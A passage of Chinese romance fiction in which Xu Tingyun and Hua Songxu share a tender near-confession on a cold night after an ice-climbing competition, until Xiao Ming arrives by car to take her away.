周耀回头看,发现小徐正直勾勾地盯着华松栩,俊脸上宇宙无敌痴汉笑容。
“……”
漫长的沉默后,老周放弃了,冲华松栩挥挥手,“你俩玩吧,我先回了。”
华松栩点头,“好。”
“路上慢点。”
“好。”
待周耀的背影消失在人行道尽头的拐角,徐汀云这才走到华松栩面前,含笑问:“真没醉?”
“没有!”华松栩瞪他。
店面招牌闪烁着五颜六色的LED灯,呼出的水汽被映照得光怪陆离,依然没能掩盖她眼尾的绯红。
徐汀云攥着手忍了好久,还是没忍住,用食指关节蹭了蹭华松栩的面颊,“脸红了。”
华松栩没躲,理直气壮道:“热的。”
“嗯,热的。”徐汀云笑意清浅,眼神却和此刻夜色一般浓郁。
“攀冰比赛,你的表现非常非常棒。”华松栩笑吟吟道,“徐汀云,未来可期。”
迟到的夸奖并未打折扣,徐汀云摸了把自己的后颈以此掩盖超标的欣喜,“谢谢。”
“但是!”华松栩话锋一转,“以后不许逞强,听见了吗?”
“嗯。”徐汀云应。
被欺骗了一次的华松栩狐疑,“真的?别诓我?”
徐汀云举起三根手指,“如果诓你,就罚你不理我三天!”
“……三个月。”
徐汀云呆滞,缓缓张开嘴巴,“啊?”
华松栩坚定道:“不答应就说明准备诓我。”
徐汀云能怎么办呢?只得咬咬牙说答应。
两人相视一笑,连零下十度的晚风都变得格外温柔。
头顶的星星在眨眼,徐汀云眼里的星星始终不灭。
于是,华松栩在晕晕乎乎之间坠入了一片星星海,又在晕晕乎乎之间拉住了徐汀云的手腕。
她动了动唇,想说些什么,最终还是没说出口。
腕间触感柔软微凉,勾得徐汀云心跳得好快好高,几乎要蹦到脑袋里去了。他的思维一点点被搅乱,面对呼之欲出的答案都不知是真实还是错觉。
但哪怕是妄想,此刻的他也顾不得了。什么慢慢来,什么琢磨已久的规划,通通被抛之脑后。他只能感受到决堤的情感,就像他的眼睛只会看向一个人。
于是,徐汀云反客为主,攥住华松栩的手,素日沉稳的嗓音有些发颤,“阿栩——”
“滴!!!”
一声巨响的喇叭打破了旖旎暧昧的氛围,打断了徐汀云的冲动,也让华松栩也从飘忽的状态中回到了现实。
牧马人打着双闪停在路边,车窗降下,肖鸣探出头,“都准备好了,走吗?”
徐汀云蓦然收紧了手,难以置信道:“你今天要走?!”